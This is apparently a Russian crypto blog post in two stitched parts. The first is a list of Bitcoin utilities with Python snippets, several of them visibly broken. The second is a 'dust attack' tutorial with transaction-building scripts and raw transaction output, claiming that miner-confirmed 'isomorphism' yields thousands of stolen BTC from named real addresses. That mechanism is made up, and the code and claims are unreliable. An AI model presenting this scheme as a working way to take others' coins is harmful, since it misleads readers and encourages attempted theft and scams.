вы простой биткоин-кошелек или сложную систему обмена альтернативными монетами, Pycoin поможет вам выполнить работу быстро и легко. Вот простой пример того, как использовать библиотеку pycoin для создания биткоин-адреса: from pycoin.key import Key from pycoin.networks.bitcoin import networks from pycoin.encoding import double_sha256 # Create a private key key = Key.from_seed("hello") # Get the public key from the private key public_key = key.get_public_key() # Get the Bitcoin address from the public key address = public_key.address(network=networks.livenet) # Print the address print(address) Это выведет биткоин-адрес, соответствующий закрытому ключу «привет». Вы можете изменить начальное число «hello», чтобы сгенерировать другой адрес. «bx» — инструмент командной строки Bitcoin 6 GitHub: https://github.com/libbitcoin/libbitcoin-explorer Инструмент командной строки bx — мощный и универсальный инструмент для взаимодействия с сетью Биткоин. Он предоставляет ряд функций, включая управление кошельком, создание транзакций и анализ блокчейна. Одной из ключевых особенностей инструмента bx является его способность создавать кошельки и управлять ими. С помощью bx вы можете легко создать новый кошелек или импортировать существующий. После настройки кошелька вы можете использовать bx для генерации адресов, отправки и получения средств, а также проверки своего баланса. Еще одной важной особенностью инструмента bx является его способность создавать и транслировать транзакции в сети Биткоин. С помощью bx вы можете создавать собственные транзакции с нуля или использовать готовые шаблоны для быстрого создания транзакций для распространенных случаев использования. Вы также можете использовать bx для подписи и проверки транзакций, а также для их трансляции в сеть. Помимо управления кошельком и транзакциями, инструмент bx также предоставляет ряд функций для анализа блокчейна. С помощью bx вы можете запросить у блокчейна информацию о транзакциях, блоках и адресах. Вы также можете использовать bx для создания отчетов и визуализации данных блокчейна, что делает его мощным инструментом для исследователей и разработчиков. В целом, инструмент командной строки bx является ценным дополнением к набору инструментов любого биткоин-разработчика. Его универсальность и простота использования делают его важным инструментом для всех, кто хочет создавать приложения или сервисы в сети Биткоин. import subprocess # execute the command subprocess.run(['bx', 'command_name', 'parameter1', 'parameter2', ..]) вы можете заменить «имя_команды» и «параметр1», «параметр2» и т. д. фактической командой и ее параметрами, которые вы хотите выполнить. import subprocess # execute the bx command subprocess.run(["bx", "tx", "info", "tx_id"]) этот код импортирует subprocess модуль, а затем запускает bx команду с аргументами tx info и tx_id . вы можете заменить tx_id идентификатор транзакции, которую хотите найти. пример сценария Python, который использует subprocess модуль для выполнения bx инструмента командной строки: import subprocess # replace this with the path to your bx executable bx_path = "/path/to/bx" # command to execute command = [bx_path, "help"] # execute the command and capture the output output = subprocess.check_output(command) # print the output print(output.decode()) Вы можете заменить command список любой другой командой, которую хотите выполнить с помощью этого bx инструмента. Просто не забудьте указать путь к bx исполняемому файлу в bx_path переменной. Также обратите внимание, что этот скрипт будет работать только в Unix-подобных системах (например, Linux или macOS). Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий. «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов 7. GitHub: https://github.com/prettymuchbryce/hellobitcoin В мире криптовалют Биткоин изменил правила игры с момента его создания в 2009 году. С ростом популярности Биткоина неудивительно, что все больше и больше людей заинтересованы в том, чтобы научиться его использовать. Однако новичкам процесс создания кошелька, создания и подписания транзакций, а также отправки транзакций через сеть Биткоин может показаться сложным. Вот тут-то и приходит на помощь Hello Bitcoin. Hello Bitcoin — это набор простых программ, призванных сделать процесс использования биткоинов проще и доступнее для новичков. С помощью Hello Bitcoin пользователи могут с легкостью создавать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции через сеть Биткоин. Первым шагом в использовании Hello Bitcoin является создание биткоин-кошелька. Это можно сделать с помощью простой команды, и программа сгенерирует для пользователя уникальный адрес кошелька. После создания кошелька пользователь может начать отправлять и получать биткоины. Создание и подписание транзакций также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. После создания транзакции пользователь может подписать ее своим закрытым ключом, гарантируя, что транзакция безопасна и действительна. Наконец, отправка транзакций через сеть Биткоин также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. Как только транзакция будет создана и подписана, программа отправит ее по сети Биткоин, гарантируя, что она будет обработана и подтверждена сетью. В целом, Hello Bitcoin — отличный инструмент для новичков, которые заинтересованы в использовании биткоинов, но напуганы этим процессом. Благодаря простому интерфейсу и простым в использовании функциям Hello Bitcoin позволяет каждому легко создать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции по сети Биткоин. вот скрипт Python, который использует hellobitcoin библиотеку для создания биткоин-кошелька, создания и подписания транзакции и отправки ее по сети биткоин: from hellobitcoin import * from bitcoin.base58 import encode # Generate a new Bitcoin wallet wallet = generate_wallet() print("Bitcoin Wallet: ", wallet['address']) # Generate a new Bitcoin transaction tx = create_transaction(wallet, "1BTC") tx['input'][0]['address'] = wallet['address'] tx['input'][0]['script'] = wallet['script'] tx['input'][0]['amount'] = 100000000 tx['input'][0]['sequence'] = 0xFFFFFFFF tx['output'][0]['address'] = "1AC4fMwgY8j9onSbXEWeH6Zan8QGMSdmtA" tx['output'][0]['amount'] = 100000000 - 5000 tx['output'][0]['script'] = "OP_DUP OP_HASH160 20 0x14 OP_EQUALVERIFY OP_CHECKSIG" # Sign the Bitcoin transaction tx['input'][0]['script'] = sign_transaction(tx['input'][0]['script'], wallet['private_key']) # Send the Bitcoin transaction over the Bitcoin network tx_hex = encode(tx.serialize()) print("Bitcoin Transaction: ", tx_hex) Обратите внимание, что это всего лишь пример сценария, и вам не следует использовать его для отправки реальных транзакций биткоинов. Кроме того, будьте осторожны при работе с биткоин-кошельками и транзакциями, поскольку они связаны с реальными деньгами и могут быть легко потеряны при неправильном обращении. «Сканер HD-кошелька» — найдите все используемые адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы 8 GitHub: https://github.com/alexk111/HD-Wallet-Scanner HD-кошельки или иерархические детерминированные кошельки — популярный способ управления биткоин-адресами. они позволяют генерировать практически бесконечное количество адресов из одного начального числа, что делает их более безопасными и удобными, чем традиционные кошельки. однако одна из проблем использования HD-кошельков заключается в том, что их может быть сложно сканировать на предмет используемых адресов. вот тут-то и пригодится сканер HD-кошелька. Сканер HD-кошелька — это инструмент, который позволяет вам найти все использованные адреса в ваших биткоин-HD-кошельках, даже если они превысили лимит пробелов. предел разрыва — это максимальное количество адресов, которые могут быть сгенерированы из одного начального числа, и по умолчанию он обычно равен 20. как только вы достигнете предела разрыва, вы больше не сможете генерировать новые адреса из этого начального числа. Сканер HD-кошелька работает путем сканирования блокчейна на предмет транзакций, соответствующих определенному шаблону. Затем он использует эту информацию для идентификации всех адресов, которые использовались в вашем HD-кошельке, независимо от того, превысили ли они лимит пропусков. это важно, поскольку если у вас нет полного учета всех используемых адресов, вы можете упустить получение средств или даже потерять их. использовать сканер HD-кошелька легко. вы просто вводите свое начальное число или xpub (расширенный открытый ключ) в инструмент, и он начнет сканировать блокчейн на предмет используемых адресов. процесс может занять несколько минут или дольше, в зависимости от того, сколько адресов вы использовали и насколько загружена сеть. После завершения сканирования вы получите список всех использованных адресов в вашем HD-кошельке, а также их балансы и истории транзакций. В заключение отметим, что сканер HD-кошелька — ценный инструмент для всех, кто использует HD-кошельки для управления своими биткоин-адресами. он позволяет вам найти все использованные адреса в вашем кошельке, даже если они превысили лимит разрыва, что может помочь вам отслеживать ваши средства и не допускать их потери. поэтому, если вы ищете способ более эффективно и безопасно управлять своими биткоин-адресами, попробуйте сканер HD-кошелька. Код Python для вас. вот: import os import sqlite3 import hashlib def get_all_addresses(db_file): conn = sqlite3.connect(db_file) c = conn.cursor() c.execute("select address from addresses") addresses = c.fetchall() return addresses def get_all_used_addresses(addresses): used_addresses = [] for address in addresses: address_hash = hashlib.sha256(address[0].encode('utf-8')).hexdigest() if address_hash in used_addresses: used_addresses.append(address_hash) return used_addresses def main(): db_file = "your_wallet_name.wallet" addresses = get_all_addresses(db_file) used_addresses = get_all_used_addresses(addresses) print("used addresses:", used_addresses) if __name__ == "__main__": main() этот код получит все использованные адреса в вашем биткоин-HD-кошельке и обойдет ограничения на пробелы. вам необходимо заменить «имя_вашего_кошелька.wallet» на имя файла вашего кошелька. вот скрипт Python, который использует hd-wallet-scanner библиотеку для поиска всех используемых адресов в ваших кошельках Bitcoin HD: from hd_wallet_scanner import scan_hd_wallet # Replace this with your BIP39 seed phrase seed_phrase = "your_seed_phrase" # Replace this with your wallet's derivation path derivation_path = "m/44'/0'/0'" addresses = scan_hd_wallet(seed_phrase, derivation_path) for address in addresses: print(address) Этот скрипт просканирует кошелек Bitcoin HD с заданной исходной фразой и путем деривации и распечатает все использованные адреса. Обратите внимание, что сначала вам необходимо установить hd-wallet-scanner библиотеку, запустив ее pip install hd-wallet-scanner в терминале. «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG без фреймворка и зависимостей 9. GitHub: https://github.com/bitjson/qr-code QR-коды повсеместно используются в нашей повседневной жизни. От сканирования кода для совершения платежа до обмена контактной информацией с коллегой — эти двумерные коды стали неотъемлемой частью нашего взаимодействия с технологиями. Однако создание QR-кодов в Интернете традиционно требует использования сторонних библиотек или фреймворков, что может быть обременительным и привести к ненужному раздуванию проекта. В этой статье мы рассмотрим новое решение, которое позволяет разработчикам генерировать QR-коды без каких-либо зависимостей или фреймворков, используя настраиваемый веб-компонент на основе SVG с возможностью анимации. Что такое QR-код? QR-Code — это веб-компонент, который позволяет разработчикам с легкостью создавать QR-коды без необходимости использования каких-либо внешних библиотек или фреймворков. Он создан с использованием чистого JavaScript и SVG, что делает его легким и легко интегрируемым в любой проект. QR-код полностью настраиваемый, что позволяет разработчикам настраивать размер, цвет и уровень исправления ошибок своих QR-кодов. Кроме того, он поддерживает анимацию, что позволяет разработчикам создавать динамические QR-коды, которые могут меняться со временем. Как это работает? QR-Code работает путем создания SVG-изображения QR-кода на основе входных данных, предоставленных разработчиком. Для создания самого кода он использует библиотеку QRious, генератор QR-кода на чистом JavaScript. После генерации кода он отображается как изображение SVG и может быть легко интегрирован в любую веб-страницу. Возможности настройки QR-Code предлагает ряд возможностей настройки, которые позволяют разработчикам адаптировать свои QR-коды к своим конкретным потребностям. Эти параметры включают в себя: Размер: разработчики могут регулировать размер своих QR-кодов, устанавливая атрибуты ширины и высоты. Цвет: QR-коды можно настроить в любом цвете, установив атрибут цвета. Уровень исправления ошибок: QR-Code поддерживает четыре уровня исправления ошибок (низкий, средний, квартиль и высокий), которые можно установить с помощью атрибута errorCorrectionLevel. Анимация. Разработчики могут создавать динамические QR-коды, установив атрибут анимации. Это позволяет QR-коду меняться со временем, создавая привлекательный эффект. QR-Code — мощный инструмент для разработчиков, желающих создавать QR-коды в Интернете. Его подход без зависимостей и без фреймворков позволяет легко интегрировать его в любой проект, а возможности настройки и поддержка анимации делают его универсальным решением для широкого спектра случаев использования. Независимо от того, создаете ли вы платежную систему или создаете маркетинговую кампанию, QR-Code — идеальный инструмент для создания высококачественных QR-кодов, которые одновременно функциональны и визуально привлекательны. Код Python для создания QR-кода с использованием библиотеки qrcode: import qrcode # generate a QR code qr = qrcode.QRCode(version=1, box_size=10, border=4) qr.add_data("https://example.com") qr.make(fit=True) # create an SVG image qr.svg("qrcode.svg", scale=8) Этот код генерирует QR-код для URL-адреса « https://example.com » и сохраняет его как изображение SVG с именем «qrcode.svg». Вы можете изменить код, чтобы создать QR-код для другого URL-адреса и сохранить его под другим именем. однако я могу предоставить вам инструкции по реализации веб-компонента qr-кода в Python. установите необходимые библиотеки: вам нужно будет установить библиотеки svgwrite и numpy . сгенерировать qr-код: вы можете использовать qrcode библиотеку для генерации qr-кода. создать изображение svg: вы можете использовать svgwrite библиотеку для создания изображения svg qr-кода. добавить анимацию: вы можете добавить анимацию в qr-код, используя svgwrite библиотеку. настроить qr-код: вы можете настроить qr-код, изменив его размер, цвет и другие атрибуты. реализовать веб-компонент: вы можете реализовать веб-компонент с помощью svgwrite библиотеки и добавить его на свой веб-сайт. вот пример кода, с которого можно начать: from qrcode import qrcode import numpy as np import svgwrite # generate the qr code qr = qrcode(version=1, error_correction=qrcode.constants.error_correct_l, box_size=10, border=4) qr.add_data('https://www.example.com') qr.make(fit=true) qr_img = qr.make_image(fill_color='black', back_color='white') # create an svg image svg = svgwrite.drawing(width=200, height=200) svg.add(svgwrite.shapes.rect(insert=(0, 0), size=(200, 200), fill='white')) svg.add(svgwrite.shapes.rect(insert=(100, 100), size=(100, 100), fill='black')) # add animation svg.add(svgwrite.animation.animate(svgwrite.shapes.circle(r=5), duration=1, repeat_count='indefinite', transform='rotate(0,100,100)')) # customize the qr code svg.add(svgwrite.shapes.path(d=qr_img.todataurl().replace('data:image/png;base64,', ''), fill='black', stroke='none')) # save the svg image svg.save('qr-code.svg') это всего лишь базовый пример, и вы можете настроить qr-код и SVG-изображение в соответствии со своими потребностями. Заключение: Биткоин — это цифровая валюта, которая в последние годы набирает популярность. Это децентрализованная система, то есть она не контролируется каким-либо правительством или финансовым учреждением. Вместо этого он полагается на сеть компьютеров для проверки транзакций и поддержания целостности системы. Одним из наиболее значительных преимуществ Биткоина является его полезность. В отличие от традиционных валют, Биткоин можно использовать для самых разных целей, помимо покупки и продажи товаров и услуг. Вот некоторые из наиболее известных утилит Биткоина: Международные денежные переводы: Биткоин можно использовать для отправки денег через границы без необходимости использования посредников, таких как банки или службы денежных переводов. Это может сэкономить пользователям значительную сумму денег на комиссиях и обменных курсах. Децентрализованные финансы: Биткоин является основой движения децентрализованных финансов (DeFi), целью которого является создание финансовых услуг, доступных каждому, у кого есть подключение к Интернету. Приложения DeFi, созданные на базе Биткоина, позволяют пользователям кредитовать, занимать и торговать криптовалютами без необходимости использования посредников. Средство сбережения: Биткоин сравнивают с цифровым золотом, поскольку его запас ограничен и он рассматривается как средство сбережения. Многие инвесторы рассматривают его как защиту от инфляции и актив-убежище. Микроплатежи: Биткоин можно использовать для совершения очень небольших платежей, известных как микроплатежи. Это полезно для оплаты небольших цифровых товаров или услуг, таких как статьи или видео. Благотворительные пожертвования: Биткоин можно использовать для пожертвований благотворительным и некоммерческим организациям. Многие организации начали принимать пожертвования в биткоинах, поскольку они быстрее и прозрачнее традиционных методов. В заключение, утилиты Биткоин многочисленны и разнообразны. Его децентрализованный характер и отсутствие посредников делают его мощным инструментом для самых разных случаев использования. Поскольку технология продолжает развиваться и развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в будущем. Список всех утилит Bitcoin: Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher ↩︎ Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях ↩︎ «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) ↩︎ «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин ↩︎ «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python ↩︎ «bx» — инструмент командной строки Bitcoin ↩︎ «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов ↩︎ «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы ↩︎ «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей ↩︎ Данный материал создан для портала CRYPTO DEEP TECH с целью обеспечения финансовой безопасности данных и криптографии эллиптических кривых secp256k1 от слабых подписей ECDSA в криптовалюте BITCOIN . Создатели программного обеспечения не несут ответственности за использование материалов. Источник Телеграмма: https://t.me/cryptodeeptech Ютуб: https://www.youtube.com/@cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65de483b3474ef16c0430f35 Источник: https://cryptodeep.ru/bitcoin-utilities Криптоанализ
  14. CRYPTO DEEP TECH Видеоматериал В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе. Целью раскрытие системы и всех подводных камней “Dust Attack”, нас подвигла и натолкнуло статья опубликованная 8 января 2024 г. на сайте глобальной криптоэкономики CoinDesk https://www.coindesk.com/markets/2024/01/08/mysterious-12m-bitcoin-transaction-to-satoshi-nakamoto-sparks-speculations/ pic.twitter.com/w34kjnAHPJ d7db4f96a4059c8906b953677ce533493d7b9da0f854a21b99f5772910dd0a31 Рассмотрим ещё одну статью и возьмем для примера TXID из которого было совершено очень большое количество пылевой атаки. https://dust-attack.blogspot.com 1d6580dcd979951bd600252b741c22a3ea8e605e43168f8452c68915c3ea2bf3 Обратим внимание на два Биткоин Адреса которые в период [июль-август 2022] совершили успешные пылевые атаки на общую сумму: 10000 BTC https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt Для проведение пылевой атаки большую роль играет подтверждение изоморфизма майнерами, т.к. с 2022 по 2024 года многие криптовалютные сервисы и аппаратные кошельки активно борются с пылевой атакой. На данный момент широкую популярность получил способ самостоятельно создавать пылевые транзакции на собственном холодном кошельке. Возьмем пример № 1 и перейдем в раздел “Create Dust Transaction” Link to gif content #01 ‘zmq’ ‘urllib3’ ‘requests’ ‘bitcoin-utils’ ‘bitcoinaddress’ Link to gif content #02 Link to gif content #03 Баланс: 0.02786906 BTC или в единицах Биткоина: 2786906 satoshi Дерево Меркла заполняется снизу вверх, где к каждому блоку данных применяется хеширование, а полученные значения записываются в листья дерева. Блоки, которые находятся уровнем выше, заполняются значением суммы хешем двух дочерних блоков. Этот процесс повторяется до того момента, пока не будет получено верхнее значение или Корень Меркла (Merkle Root). В блокчейне Bitcon используется хеш-функция SHA256. Другие блокчейны могут использовать другие принципы шифрования для создания Дерева Меркла. Хэш платежа от пополнение баланса https://btc1.trezor.io/tx/0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5 dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5") pk = PrivateKey.parse("L1k********************************************MdrTj") tx_in._value = 2786906 Прибыль от пылевой атаки. Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №1 в нашем случае мы выбираем адрес Биткоин Кошелька: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i https://www.blockchain.com/explorer/addresses/btc/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i" TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), 555 + 226 = 781 satoshi 2786906 - 781 = 2786125 satoshi TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) Запуск скрипта: createrawtransaction.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("0b253c2dd4331f78de3d9a14d5cacfe9b20c258ebedabc782f36ce2e50d193c5") dust_index = 0 send_dust = "14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2786906 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(2786125, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n") Результат: -------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i -------------------------------------- OP_DUP OP_HASH160 b'2581997c24562e316ffa3163e63d2db26442cc9a' OP_EQUALVERIFY OP_CHECKSIG b'304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800 -------------------------------------- Link to gif content #04.1 RawTX for performing isomorphism: 0200000001c593d1502ece362f78bcdabe8e250cb2e9cfcad5149a3dde781f33d42d3c250b010000006a47304402203b2c7941c858d201ac384029e88c9988f6baa433d061eacb765caa356d6e1a7e02203885dd1be0e8a5b0890dde12674c508608f0c60872a4acbc5fb3b9fd1978d916012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff022b020000000000001976a9142581997c24562e316ffa3163e63d2db26442cc9a88ac4d832a00000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688acd9530800 ScriptSig Isomorphism Link to gif content #05.1 https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/isomorphism.txt Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash Link to gif content #06 Link to gif content #08 Замена публичного ключа в файле: isomorphism.txt https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/14RKFqH45xYPMpW4KQ28RB6XtrZ8XpEM5i/PublicKey.txt Link to gif content #10 Биткоин адрес для получения всей прибыли: 36ZfWyL5NGvC2u54QENyUgDzTgNyHe1xpE print(Tx.get_address_data(send_dust)['script_pubkey']) Link to gif content #12 https://coinbin.ru/#verify Сумма прибыли в монетах от пылевой атаки составляет: 5000.00141092 BTC // $ 209364,284.08 United States Dollar https://www.coinbase.com/converter/btc/usd Пример №2 https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt Хэш платежа от пополнение баланса https://btc1.trezor.io/tx/655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5 dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5") pk = PrivateKey.parse("L1k********************************************MdrTj") tx_in._value = 33532 Прибыль от пылевой атаки. Выбираем Биткоин Кошелек от которого в конечном итоге получаем прибыль в случае подтверждение майнерами изоморфизма. Так как мы рассматриваем пример №2 в нашем случае мы выбираем адрес Биткоин Кошелька: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt https://www.blockchain.com/explorer/addresses/btc/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt" TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), 555 + 226 = 781 satoshi 33532 - 781 = 32751 satoshi TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) Запуск скрипта: createrawtransaction.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("L1k********************************************MdrTj") pk.address() dust_tx = bytes.fromhex("655c533bf059721cec9d3d70b3171a07997991a02fedfa1c9b593abc645e1cc5") dust_index = 0 send_dust = "15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt" tx_in = TxIn(dust_tx, dust_index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 33532 tx_ins = [ tx_in ] tx_outs = [ TxOut(555, Tx.get_address_data(send_dust)['script_pubkey'].serialize()), TxOut(32751, Tx.get_address_data(pk.address())['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print("\n--------------------------------------\n") print("My work Bitcoin Address: " + pk.address()) print("Address for Getting Rich: " + send_dust) print("\n--------------------------------------\n") print(tx_in._script_pubkey) print(tx_in.script_sig) print("\n--------------------------------------\n") print("RawTX for performing isomorphism:") print(tx.serialize().hex()) print("\n--------------------------------------\n") Результат: -------------------------------------- My work Bitcoin Address: 1AK4LYE6PYwBmSYHQX3v2UsXXHTvCAsJeK Address for Getting Rich: 15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt -------------------------------------- OP_DUP OP_HASH160 b'662367a3d78a4b0fcbb3020b3d724981d10934f6' OP_EQUALVERIFY OP_CHECKSIG b'3045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622' b'02fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5a' -------------------------------------- RawTX for performing isomorphism: 0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800 -------------------------------------- Link to gif content #04.2 RawTX for performing isomorphism: 0200000001c51c5e64bc3a599b1cfaed2fa0917999071a17b3703d9dec1c7259f03b535c65010000006b483045022100dcd830d15f3a8cad03526bac2540570431a8691450a2959cc1badcc2e563124e0220013aa9e38bf45e4afc3859ee34ac8522106f1d202246c247ed945da89bdba622012102fbc210b54bdb4c48143a15cfd50a3e101d15a7dbb814c3804efc4b4782f45a5afdffffff02ef7f0000000000001976a914662367a3d78a4b0fcbb3020b3d724981d10934f688ac2b020000000000001976a9143467e56d5193558eacdae84af5c1c72ee158dd6788acd9530800 ScriptSig Isomorphism Link to gif content #05.2 https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/isomorphism.txt Запустим скрипт указав print(tx.serialize().hex()[+10:+74]) и преобразуем весь список txid в потоковый формат hash Link to gif content #07 Link to gif content #09 Замена публичного ключа в файле: isomorphism.txt https://github.com/demining/CryptoDeepTools/blob/main/28DustAttack/15n6boxiQj45oHcmDjtNMjh35sFWZX4PBt/PublicKey.txt Link to gif content #11 Биткоин адрес для получения всей прибыли: 3GsC42MbUrtGU4un6QHbXkyjKVawyvm6ac print(Tx.get_address_data(send_dust)['script_pubkey']) Link to gif content #13 Любая транзакция должна быть подтверждена майнерами для того чтобы RawTX отправить в поле раздела: Broadcast Transaction для передачи заявки на подтверждение майнерами, необходимо тщательно убедиться, что платеж создан корректно для этого переходим в раздел: Verify Transactions and other scripts https://coinbin.ru/#verify Сумма прибыли в монетах от пылевой атаки составляет: 5001.51473912 BTC // $ 215831966,02 United States Dollar https://www.coinbase.com/converter/btc/usd References: [1] Exploring Unconfirmed Transactions for Effective Bitcoin Address Clustering (Kai Wang, Fudan University, Maike Tong, Fudan University, Changhao Wu, Fudan University,Jun Pang, University of Luxembourg, Chen Chen, Fudan University, Xiapu Luo, The Hong Kong Polytechnic University,Weili Han, Fudan University) [2] Bitcoin security – Anti-Dust Attack (Ajin S, Master of Computer Application, Amal Jyothi College of Engineering koovapally, Kottayam, India) [3] Data Insertion in Bitcoin’s Blockchain (Andrew Sward, Ivy Vecna, Forrest Stonedahl) [4] Bitcoin Will Bite the Dust (Kevin Dowd and Martin Hutchinson) [5] DATA ANALYTICS AND CONSENSUS MECHANISMS IN BLOCKCHAINS (Dániel FEHÉR) [6] Does Bitcoin Need Regulation: An Analysis of Bitcoin’s Decentralized Nature as a Security and Regulatory Concern for Governments (Hadeka Rasul Seton Hall University, 2018) [7] Exploiting Cryptocurrencies Toward Bitcoin Exchanges And Provided Solution For Current Problems (A. Punyavardhan Raj , G. Nithinb, A. Sai Bharathc, Ch. Abhishekd, B. Prasanth Kumare, Department of CSE, GMR Institute of Technology, Rajam, India) [8] Is Bitcoin gathering dust? An analysis of low-amount Bitcoin transactions (Matteo Loporchio, Anna Bernasconi, Damiano Di Francesco Maesa and Laura Ricci) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech YouTube: https://www.youtube.com/@cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65be9256df804947fbd96fd7 Источник: https://cryptodeep.ru/dustattack Криптоанализ
